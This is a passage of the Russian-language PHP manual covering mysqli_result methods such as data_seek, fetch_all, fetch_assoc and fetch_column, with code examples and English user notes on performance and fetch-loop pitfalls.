you have to pull all data out f the object and then store the data... no other way.
Anonymous 18-Apr-2010 11:39
Generally, it appears Mysqli OO vs Procedural style has no significant difference in speed, at least with the more generally used functions and methods (connect, close, query, free, etc).

With the fetch_* family of functions and methods dealing with result rows, however, Procedural wins out.  Averaging over a hundred or so tests with a result set of 180,000 records, and using mysqli_fetch_*() functions vs. their mysqli_result::fetch_*() counterpart object methods to read and iterate over all records, all of the mysqli_fetch_*() functions win by ~0.1 seconds less.

This is interesting considering we're dealing with the same result object in both styles.

This was using Vistax64, PHP5.3.2, Mysql 5.1.45, using a bit of this code:

<?php

// procedural - takes 0.1 seconds less than OO here
$stopwatch = microtime(true);
while($row = mysqli_fetch_assoc($result)){
    ++$z;
    }
echo microtime(true) - $stopwatch;

// OO
$stopwatch = microtime(true);
while($row = $result->fetch_assoc()){
    ++$z;
    }
echo microtime(true) - $stopwatch;

?>
blar at blar dot de 08-Jan-2009 02:47
Extending the MySQLi_Result

<?php

class Database_MySQLi extends MySQLi
{
    public function query($query)
    {
        $this->real_query($query);
        return new Database_MySQLi_Result($this);
    }
}

class Database_MySQLi_Result extends MySQLi_Result
{
    public function fetch()
    {
        return $this->fetch_assoc();
    }

    public function fetchAll()
    {
        $rows = array();
        while($row = $this->fetch())
        {
            $rows[] = $row;
        }
        return $rows;
    }
}

?>


Конструктор объекта mysqli_result

  • « mysqli_result
  • mysqli_result::$current_field »
  • PHP Manual
  • mysqli_result
  • Конструктор объекта mysqli_result

mysqli_result::__construct

(PHP 5, PHP 7, PHP 8)

mysqli_result::__construct — Конструктор объекта mysqli_result

Описание

public mysqli_result::__construct(mysqli $mysql, int $result_mode = MYSQLI_STORE_RESULT)

Метод создаёт новый объект mysqli_result.

Метод можно использовать для создания объекта mysqli_result после вызова функции mysqli_real_query() или mysqli_multi_query(). Создание объекта вручную эквивалентно вызову функции mysqli_store_result() или mysqli_use_result().

Список параметров

mysql

Только для процедурного стиля: объект mysqli, который вернула функция mysqli_connect().

result_mode

Режим результата может быть одной из двух констант, указывающих, как результат будет возвращён сервером MySQL:

MYSQLI_STORE_RESULT (по умолчанию) - создаёт объект mysqli_result с буферизованным набором результатов.

MYSQLI_USE_RESULT - создаёт объект mysqli_result с небуферизованным набором результатов. Пока есть ожидающие выборки записи, линия соединения будет занята и все последующие вызовы будут возвращать ошибку Commands out of sync (Команды не синхронизированы). Чтобы избежать ошибки, все записи должны быть получены с сервера или набор результатов должен быть отброшен путём вызова функции mysqli_free_result(). Для извлечения строк соединение должно оставаться открытым.

Ошибки

Если уведомления об ошибках mysqli включены (MYSQLI_REPORT_ERROR) и запрошенная операция не удалась, выдаётся предупреждение. Если, кроме того, установлен режим MYSQLI_REPORT_STRICT, вместо этого будет выброшено исключение mysqli_sql_exception.

Примеры

Пример #1 Пример создания объекта mysqli_result

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* SELECT-запросы возвращают набор результатов */
$mysqli->real_query("SELECT Name FROM City LIMIT 10");

$result = new mysqli_result($mysqli);
printf("Запрос вернул %d записей.\n", $result->num_rows);

Результатом выполнения данных примеров будет что-то подобное:

Запрос вернул 10 записей.

Смотрите также

  • mysqli_multi_query() - Выполняет один или несколько запросов к базе данных
  • mysqli_real_query() - Выполнение SQL запроса
  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_use_result() - Готовит результирующий набор на сервере к использованию

User Contributed Notes

There are no user contributed notes for this page.


Получает смещение указателя по отношению к текущему полю

  • « mysqli_result::__construct
  • mysqli_result::data_seek »
  • PHP Manual
  • mysqli_result
  • Получает смещение указателя по отношению к текущему полю

mysqli_result::$current_field

mysqli_field_tell

(PHP 5, PHP 7, PHP 8)

mysqli_result::$current_field -- mysqli_field_tell — Получает смещение указателя по отношению к текущему полю

Описание

Объектно-ориентированный стиль

int $mysqli_result->current_field;

Процедурный стиль

mysqli_field_tell(mysqli_result $result): int

Возвращает позицию указателя поля, используемую при последнем вызове mysqli_fetch_field(). Это значение может быть использовано как аргумент для mysqli_field_seek().

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Возвращает текущее смещение указателя поля.

Примеры

Пример #1 Объектно-ориентированный стиль

<?php
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Ошибка соединения: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = $mysqli->query($query)) {

/* Получить информацию о поле для всех столбцов */
while ($finfo = $result->fetch_field()) {

/* Получить смещение указателя поля */
$currentfield = $result->current_field;

printf("Столбец %d:\n", $currentfield);
printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type);
}
$result->close();
}

/* Закрыть соединение */
$mysqli->close();
?>

Пример #2 Процедурный стиль

<?php
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

/* Проверить соединение */
if (mysqli_connect_errno()) {
printf("Ошибка соединения: %s\n", mysqli_connect_error());
exit();
}

$query = "SELECT Name, SurfaceArea from Country ORDER BY Code LIMIT 5";

if ($result = mysqli_query($link, $query)) {

/* Получить информацию о поле для всех столбцов */
while ($finfo = mysqli_fetch_field($result)) {

/* Получить смещение указателя поля */
$currentfield = mysqli_field_tell($result);

printf("Столбец %d:\n", $currentfield);
printf("Имя: %s\n", $finfo->name);
printf("Таблица: %s\n", $finfo->table);
printf("Макс. длина: %d\n", $finfo->max_length);
printf("Флаги: %d\n", $finfo->flags);
printf("Тип: %d\n\n", $finfo->type);
}
mysqli_free_result($result);
}

/* Закрыть соединение */
mysqli_close($link);
?>

Результат выполнения данных примеров:

Столбец 1:
Имя:     Name
Таблица:    Country
Макс. длина: 11
Флаги:    1
Тип:     254

Столбец 2:
Имя:     SurfaceArea
Таблица:    Country
Макс. длина: 10
Флаги:    32769
Тип:     4

Смотрите также

  • mysqli_fetch_field() - Возвращает следующее поле результирующего набора
  • mysqli_field_seek() - Установить указатель поля на определённое смещение

User Contributed Notes

There are no user contributed notes for this page.


Перемещает указатель результата на выбранную строку

  • « mysqli_result::$current_field
  • mysqli_result::fetch_all »
  • PHP Manual
  • mysqli_result
  • Перемещает указатель результата на выбранную строку

mysqli_result::data_seek

mysqli_data_seek

(PHP 5, PHP 7, PHP 8)

mysqli_result::data_seek -- mysqli_data_seek — Перемещает указатель результата на выбранную строку

Описание

Объектно-ориентированный стиль

public mysqli_result::data_seek(int $offset): bool

Процедурный стиль

mysqli_data_seek(mysqli_result $result, int $offset): bool

Функция mysqli_data_seek() перемещает указатель в результате на строку, указанную в параметре offset.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

offset

Смещение строк. Должно быть между нулём и числом строк в результате минус один (0..mysqli_num_rows() - 1).

Возвращаемые значения

Возвращает true в случае успешного выполнения или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysqli::data_seek()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";
$result = $mysqli->query($query);

/* Переход к строке 401 */
$result->data_seek(400);

/* Получение строки */
$row = $result->fetch_row();

printf("Город: %s Код страны: %s\n", $row[0], $row[1]);

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$link = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name";

$result = mysqli_query($link, $query);

/* Переход к строке 401 */
mysqli_data_seek($result, 400);

/* Получение строки */
$row = mysqli_fetch_row($result);

printf ("Город: %s Код страны: %s\n", $row[0], $row[1]);

Результат выполнения данных примеров:

Город: Benin City  Код страны: NGA

Пример #2 Регулировка указателя результата при перемещении

Функция может быть полезна при перемещении по набору результатов для наложения настраиваемого порядка или перемотки набора результатов при многократном повторении.

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY Name LIMIT 15,4";
$result = $mysqli->query($query);

/* Перемещение по набору результатов в обратном порядке */
for ($row_no = $result->num_rows - 1; $row_no >= 0; $row_no--) {
$result->data_seek($row_no);

/* Получение строки */
$row = $result->fetch_row();

printf("Город: %s Код страны: %s\n", $row[0], $row[1]);
}

/* Сброс указателя на начало набора результатов */
$result->data_seek(0);

print "\n";

/* Снова перемещение по тому же набору результатов */
while ($row = $result->fetch_row()) {
printf("Город: %s Код страны: %s\n", $row[0], $row[1]);
}

Результат выполнения данных примеров:

Город: Acmbaro  Код страны: MEX
Город: Abuja  Код страны: NGA
Город: Abu Dhabi  Код страны: ARE
Город: Abottabad  Код страны: PAK

Город: Abottabad  Код страны: PAK
Город: Abu Dhabi  Код страны: ARE
Город: Abuja  Код страны: NGA
Город: Acmbaro  Код страны: MEX

Примечания

Замечание:

Функция может быть использована только с буферизованными результатами, которые можно получить использованием функций mysqli_store_result() или mysqli_query().

Смотрите также

  • mysqli_store_result() - Передаёт на клиента результирующий набор последнего запроса
  • mysqli_fetch_row() - Выбирает следующую строку из набора результатов и помещает её в обычный массив
  • mysqli_fetch_array() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_fetch_assoc() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
  • mysqli_fetch_object() - Выбирает следующую строку из набора результатов в виде объекта
  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_num_rows() - Получает количество строк в наборе результатов

User Contributed Notes

There are no user contributed notes for this page.


Выбирает все строки из результирующего набора и помещает их в ассоциативный массив, обычный массив или в оба

  • « mysqli_result::data_seek
  • mysqli_result::fetch_array »
  • PHP Manual
  • mysqli_result
  • Выбирает все строки из результирующего набора и помещает их в ассоциативный массив, обычный массив или в оба

mysqli_result::fetch_all

mysqli_fetch_all

(PHP 5 >= 5.3.0, PHP 7, PHP 8)

mysqli_result::fetch_all -- mysqli_fetch_all — Выбирает все строки из результирующего набора и помещает их в ассоциативный массив, обычный массив или в оба

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_all(int $mode = MYSQLI_NUM): array

Процедурный стиль

mysqli_fetch_all(mysqli_result $result, int $mode = MYSQLI_NUM): array

Возвращает двумерный массив всех строк результатов в виде ассоциативного массива, числового массива или обоих.

Замечание:

До PHP 8.1.0, функция доступна только с mysqlnd.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

mode

Этот необязательный параметр принимает значение константы, которая указывает на тип массива, в который требуется поместить данные. Возможные значения параметра: MYSQLI_ASSOC, MYSQLI_NUM или MYSQLI_BOTH.

Возвращаемые значения

Возвращает массив содержащий ассоциативные или обычные массивы с данными результирующей таблицы.

Список изменений

Версия | Описание
8.1.0 | Теперь также доступно при сборке с libmysqlclient.

Примеры

Пример #1 Пример использования mysqli_result::fetch_all()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$result = $mysqli->query("SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

$rows = $result->fetch_all(MYSQLI_ASSOC);
foreach ($rows as $row) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$result = mysqli_query($mysqli, "SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3");

$rows = mysqli_fetch_all($result, MYSQLI_ASSOC);
foreach ($rows as $row) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

Результат выполнения данных примеров:

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

Смотрите также

  • mysqli_fetch_array() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_fetch_column() - Получает один столбец из следующей строки набора результатов
  • mysqli_query() - Выполняет запрос к базе данных

User Contributed Notes

darek334 at gazeta dot pl 03-Oct-2023 01:15
be careful fetch_all(MYSQLI_ASSOC ) returns an array in the form
<?php
array(0 => array(...row...), 1 => array(...row...) .... ), even if is one row...
?>
not compared to fetch_assoc() which returns one array of the result in form:
<?php
array(...row...)
?>
mail2magvay at rambler dot ru 22-May-2019 11:39
By the way, this case pretty work's too:

$services = $mysqli->query("SELECT * FROM table1");

if($services && $services->num_rows>0){
    $services->fetch_all(MYSQLI_ASSOC);
}

foreach($services as $service){
    echo $service; //work properly, cause it implements Iterator
}

That's mean in this case $services is a valid array (or empty array)
jcastro at eftec dot cl 09-Feb-2015 02:26
I tested using "fetch all" versus "while / fetch array" and :

fetch-all uses less memory (but not for so much).

In my case (test1 and test2): 147008,262848 bytes (fetch-all) versus 147112,262888 bytes (fetch-array & while.

So, about the memory, in both cases are the same.

However, about the performance
My test takes :350ms (worst case) using fetch-all, while it takes 464ms (worst case) using fetch-array, or about 35% worst using fetch array and a while cycle.

So, using fetch-all, for a normal code that returns a moderate amount of information is :
a) cleaner (a single line of code)
b) uses less memory (about 0.01% less)
c) faster.

php 5.6 32bits, windows 8.1 64bits
m dot amiot at otak-arts dot com 20-Mar-2012 10:27
If you really need this function, you can just extend the mysqli_result class with a function like this one.

<?php
        public function fetch_all($resulttype = MYSQLI_NUM)
        {
            if (method_exists('mysqli_result', 'fetch_all')) # Compatibility layer with PHP < 5.3
                $res = parent::fetch_all($resulttype);
            else
                for ($res = array(); $tmp = $this->fetch_array($resulttype);) $res[] = $tmp;

            return $res;
        }
?>
andrey at php dot net 10-Aug-2010 07:38
Return value changed in 5.3.3 - between 5.3.0 and 5.3.2 (incl.) when the result set was empty NULL was returned. 5.3.3+ returns an empty array.
Also, mysqli_fetch_all works only for buffered result sets, which are the default for mysqli_query. MYSQLI_USE_RESULT will be supported in 5.3.4+
However, it makes little sense to use it this way, materialising unbuffered sets. In this case choose STORE_RESULT, and fetch_all won't copy the data, but reference it, as it is stored already in mysqlnd.


Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба

  • « mysqli_result::fetch_all
  • mysqli_result::fetch_assoc »
  • PHP Manual
  • mysqli_result
  • Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба

mysqli_result::fetch_array

mysqli_fetch_array

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_array -- mysqli_fetch_array — Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_array(int $mode = MYSQLI_BOTH): array|null|false

Процедурный стиль

mysqli_fetch_array(mysqli_result $result, int $mode = MYSQLI_BOTH): array|null|false

Выбирает одну строку данных из набора результатов и возвращает её в виде массива. Каждый последующий вызов этой функции будет возвращать следующую строку в наборе результатов или null, если строк больше нет.

Помимо хранения данных в числовых индексах массива результатов, функция также может сохранять данные в ассоциативных индексах, используя имена полей набора результатов в качестве ключей.

Если два и более столбца результата имеют одинаковое имя, последний столбец будет иметь приоритет и перезапишет любые предыдущие данные. В таких ситуациях для доступа к данным всех столбцов с одинаковыми именами лучше пользоваться обычными массивами, индексированными номерами столбцов.

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

mode

Этот необязательный параметр принимает значение константы, которая указывает на тип массива, в который требуется поместить данные. Возможные значения параметра: MYSQLI_ASSOC, MYSQLI_NUM или MYSQLI_BOTH.

При использовании константы MYSQLI_ASSOC функция будет вести себя идентично mysqli_fetch_assoc(), а при MYSQLI_NUM идентично функции mysqli_fetch_row(). При задании MYSQLI_BOTH функция создаст один массив, включающий атрибуты обоих вариантов.

Возвращаемые значения

Возвращает массив, представляющий выбранную строку, null, если в наборе результатов больше нет строк или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysqli_result::fetch_array()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID LIMIT 3";
$result = $mysqli->query($query);

/* числовой массив */
$row = $result->fetch_array(MYSQLI_NUM);
printf("%s (%s)\n", $row[0], $row[1]);

/* ассоциативный массив */
$row = $result->fetch_array(MYSQLI_ASSOC);
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* ассоциативный и числовой массивы */
$row = $result->fetch_array(MYSQLI_BOTH);
printf("%s (%s)\n", $row[0], $row["CountryCode"]);

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER by ID LIMIT 3";
$result = mysqli_query($mysqli, $query);

/* числовой массив */
$row = mysqli_fetch_array($result, MYSQLI_NUM);
printf("%s (%s)\n", $row[0], $row[1]);

/* ассоциативный массив */
$row = mysqli_fetch_array($result, MYSQLI_ASSOC);
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);

/* ассоциативный и числовой массивы */
$row = mysqli_fetch_array($result, MYSQLI_BOTH);
printf("%s (%s)\n", $row[0], $row["CountryCode"]);

Результат выполнения данных примеров:

Kabul (AFG)
Qandahar (AFG)
Herat (AFG)

Смотрите также

  • mysqli_fetch_assoc() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
  • mysqli_fetch_column() - Получает один столбец из следующей строки набора результатов
  • mysqli_fetch_row() - Выбирает следующую строку из набора результатов и помещает её в обычный массив
  • mysqli_fetch_object() - Выбирает следующую строку из набора результатов в виде объекта
  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_data_seek() - Перемещает указатель результата на выбранную строку

User Contributed Notes

There are no user contributed notes for this page.


Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив

  • « mysqli_result::fetch_array
  • mysqli_result::fetch_column »
  • PHP Manual
  • mysqli_result
  • Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив

mysqli_result::fetch_assoc

mysqli_fetch_assoc

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_assoc -- mysqli_fetch_assoc — Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_assoc(): array|null|false

Процедурный стиль

mysqli_fetch_assoc(mysqli_result $result): array|null|false

Выбирает одну строку данных из набора результатов и возвращает её в виде ассоциативного массива. Каждый последующий вызов этой функции будет возвращать следующую строку в наборе результатов или null, если строк больше нет.

Если у двух и более столбцов в наборе результатов одинаковое имя, последний столбец будет иметь приоритет и перезапишет любые предыдущие данные. Для доступа к нескольким столбцам с одинаковым именем можно использовать функцию mysqli_fetch_row() для выборки массива с числовым индексом или в списке выбора SQL-запроса можно использовать псевдонимы, чтобы задать столбцам разные имена.

Замечание: Имена полей, возвращаемые этой функцией являются зависимыми от регистра.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

Возвращаемые значения

Возвращает ассоциативный массив, представляющий выбранную строку, где каждое свойство представляет имя столбца набора результатов, null, если в наборе результатов больше нет строк или false в случае возникновения ошибки.

Примеры

Пример #1 Пример использования mysqli_result::fetch_assoc()

Объектно-ориентированный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = $mysqli->query($query);

/* извлечение ассоциативного массива */
while ($row = $result->fetch_assoc()) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

Процедурный стиль

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");

$query = "SELECT Name, CountryCode FROM City ORDER BY ID DESC";

$result = mysqli_query($mysqli, $query);

/* извлечение ассоциативного массива */
while ($row = mysqli_fetch_assoc($result)) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

Результатом выполнения данных примеров будет что-то подобное:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

Пример #2 Сравнение использования mysqli_result iterator и mysqli_result::fetch_assoc()

mysqli_result можно повторить с помощью foreach. Результирующий набор всегда будет повторяться с первой строки, независимо от текущей позиции.

<?php

mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");

$query = 'SELECT Name, CountryCode FROM City ORDER BY ID DESC';

// Используем итераторы
$result = $mysqli->query($query);
foreach ($result as $row) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

echo "\n==================\n";

// Не используем итераторы
$result = $mysqli->query($query);
while ($row = $result->fetch_assoc()) {
printf("%s (%s)\n", $row["Name"], $row["CountryCode"]);
}

Результатом выполнения данного примера будет что-то подобное:

Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

==================
Pueblo (USA)
Arvada (USA)
Cape Coral (USA)
Green Bay (USA)
Santa Clara (USA)

Смотрите также

  • mysqli_fetch_array() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_fetch_column() - Получает один столбец из следующей строки набора результатов
  • mysqli_fetch_row() - Выбирает следующую строку из набора результатов и помещает её в обычный массив
  • mysqli_fetch_object() - Выбирает следующую строку из набора результатов в виде объекта
  • mysqli_query() - Выполняет запрос к базе данных
  • mysqli_data_seek() - Перемещает указатель результата на выбранную строку

User Contributed Notes

Enrique Garcia 26-Apr-2023 08:35
There is a difference between MariaDB and MySQL(>5.4) whether the input parameter (mysqli object) has data or is empty (it comes from a previus query).
-MariaDB:  you get an exception:
Fatal error: Uncaught TypeError: mysqli_fetch_assoc(): Argument #1 ($result) must be of type mysqli_result
-MySQL: you can continue, in spite of not having data in the mysqli object.
gilles dot falquet at unige dot ch 07-Dec-2017 08:24
Be careful when using fetch_assoc instead of fetch_row. If two columns of the result have the same column name, even if they are prefixed with different table names in the query, only one of them will be retained in the result. This is because the prefix is dropped (either by mysql or by this function)

For example if the query is

     select p1.name, p2.name
     from person p1, friend, person p2
     where p1.id = friend.person1 and p2.id = friend.person2

the arrays returned by fetch_assoc will be of the form

{'name' => 'bob'}
{'name' => 'anna'}

and not (as expected)

{'p1.name' => 'bob', 'p2.name' => 'alice'}
{'p1.name' => 'anna', 'p2.name' => 'irla'}
paul dot allsopp at inseego dot com 20-Apr-2017 03:27
The official example given here breaks a cardinal rule, and should be rectified.

while ($row = $result->fetch_assoc())...

...breaks the rule of "assignment in condition".

while (($x = $y->getZ()) !== false) or
while (($x = $y->getZ()) !== null)

...is the correct syntax.

Conditional statements should always check for a boolean
Hesham Mohamed Sediek 24-Apr-2015 02:02
when you fetch the data from the query variable
and try to fetch it again in another part of the script
from the same query variable ,
when you try to echo all data you have fetched,
it will not echo the data you have used in the first fetch
(it will exceed the results you have used in the first fetch).......

Example :
<?php
$connect = new mysqli("localhost","root","root","elshamy")
 or die (mysqli_error());

$query=$connect->query("SELECT * FROM users ORDER BY id ASC");

$first_fetch=$query->fetch_array(MYSQLI_ASSOC);
echo $first_fetch['id']."===>".$first_fetch['user_name']."\n--------------------\n";

while($row=$query->fetch_array(MYSQLI_ASSOC)){

/*it will exceed the first
id&user_name value that
you have use in the first fetch*/

echo $row['id']."  ".$row['user_name']."<br/>";
}
?>

above example will echo :
1===>userA
------------------------
2===>userB
3===>userC
4===>userD
Miller 07-Aug-2013 05:26
I often like to have my results sent elsewhere in the format of an array (although keep in mind that if you just plan on traversing through the array in another part of the script, this extra step is just a waste of time).

This is my one-liner for transforming a mysqli_result set into an array.
<?php
$sql = new MySQLi($host, $username, $password, $database);

$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row);
print_r($set);
?>

Outputs:
Array
(
    [0] => Array
        (
            [id] => 1
            [field2] => a
            [field3] => b
        ),
    [1] => Array
        (
            [id] => 2
            [field2] => c
            [field3] => d
        )
)

I use other variations to adapt to the situation, i.e. if I am selecting only one field:
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT `field2` FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[] = $row['field2']);
print_r($set);
?>
Outputs:
Array
(
    [0] => a
    [1] => c
)

Or, to make the array associative with the primary index (code assumes primary index is the first field in the table):
<?php
$sql = new MySQLi($host, $username, $password, $database);
$result = $sql->query("SELECT * FROM `$table`;");
for ($set = array (); $row = $result->fetch_assoc(); $set[array_shift($row)] = $row);
print_r($set);
?>
Outputs:
Array
(
    [1] => Array
        (
            [field2] => a
            [field3] => b
        ),
    [2] => Array
        (
            [field2] => c
            [field3] => d
        )
)
james dot phx at gmail dot com 11-Aug-2011 05:58
IMPORTANT NOTE:

If you were used to using code like this:

<?php
while(false !== ($row = mysql_fetch_assoc($result)))
{
    //...
}
?>

You must change it to this for mysqli:

<?php
while(null !== ($row = mysqli_fetch_assoc($result)))
{
    //...
}
?>

The former will cause your script to run until max_execution_time is reached.


Получает один столбец из следующей строки набора результатов

  • « mysqli_result::fetch_assoc
  • mysqli_result::fetch_field_direct »
  • PHP Manual
  • mysqli_result
  • Получает один столбец из следующей строки набора результатов

mysqli_result::fetch_column

mysqli_fetch_column

(PHP 8 >= 8.1.0)

mysqli_result::fetch_column -- mysqli_fetch_column — Получает один столбец из следующей строки набора результатов

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_column(int $column = 0): null|int|float|string|false

Процедурный стиль

mysqli_fetch_column(mysqli_result $result, int $column = 0): null|int|float|string|false

Выбирает одну строку данных из набора результатов и возвращает столбец с указанным индексом, начиная с 0. Каждый последующий вызов этой функции будет возвращать значение из следующей строки в наборе результатов или false, если строк больше нет.

Замечание: Эта функция устанавливает NULL-поля в значение null PHP.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

column

Номер столбца, начиная с 0, который необходимо извлечь из строки. Если значение не указано, будет возвращён первый столбец.

Возвращаемые значения

Возвращает один столбец из следующей строки набора результатов или false, если строк больше нет.

Внимание

Невозможно вернуть другой столбец из той же строки, если вы используете эту функцию для извлечения данных.

Примеры

Пример #1 Пример использования mysqli_result::fetch_column()

Объектно-ориентированный стиль

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = new mysqli("localhost", "my_user", "my_password", "world");
$query = "SELECT CountryCode, Name FROM City ORDER BY ID DESC LIMIT 5";
$result = $mysqli->query($query);
/* получение значения из второго столбца */
while ($Name = $result->fetch_column(1)) {
printf("%s\n", $Name);
}

Процедурный стиль

<?php
mysqli_report(MYSQLI_REPORT_ERROR | MYSQLI_REPORT_STRICT);
$mysqli = mysqli_connect("localhost", "my_user", "my_password", "world");
$query = "SELECT CountryCode, Name FROM City ORDER BY ID DESC LIMIT 5";
$result = mysqli_query($mysqli, $query);
/* получение значения из второго столбца */
while ($Name = mysqli_fetch_column($result, 1)) {
printf("%s\n", $Name);
}

Результатом выполнения данных примеров будет что-то подобное:

Rafah
Nablus
Jabaliya
Hebron
Khan Yunis

Смотрите также

  • mysqli_fetch_all() - Выбирает все строки из результирующего набора и помещает их в ассоциативный массив, обычный массив или в оба
  • mysqli_fetch_array() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив, обычный массив или в оба
  • mysqli_fetch_assoc() - Выбирает следующую строку из набора результатов и помещает её в ассоциативный массив
  • mysqli_fetch_object() - Выбирает следующую строку из набора результатов в виде объекта
  • mysqli_fetch_row() - Выбирает следующую строку из набора результатов и помещает её в обычный массив
  • mysqli_data_seek() - Перемещает указатель результата на выбранную строку

User Contributed Notes

There are no user contributed notes for this page.


Получение метаданных конкретного поля

  • « mysqli_result::fetch_column
  • mysqli_result::fetch_field »
  • PHP Manual
  • mysqli_result
  • Получение метаданных конкретного поля

mysqli_result::fetch_field_direct

mysqli_fetch_field_direct

(PHP 5, PHP 7, PHP 8)

mysqli_result::fetch_field_direct -- mysqli_fetch_field_direct — Получение метаданных конкретного поля

Описание

Объектно-ориентированный стиль

public mysqli_result::fetch_field_direct(int $index): object|false

Процедурный стиль

mysqli_fetch_field_direct(mysqli_result $result, int $index): object|false

Возвращает информацию о столбце результирующего набора в виде объекта.

Список параметров

result

Только для процедурного стиля: объект mysqli_result, который вернула функция mysqli_query(), mysqli_store_result(), mysqli_use_result() или mysqli_stmt_get_result().

index

Номер поля. Число должно лежать в диапазоне от 0 до количество полей - 1.

Возвращаемые значения

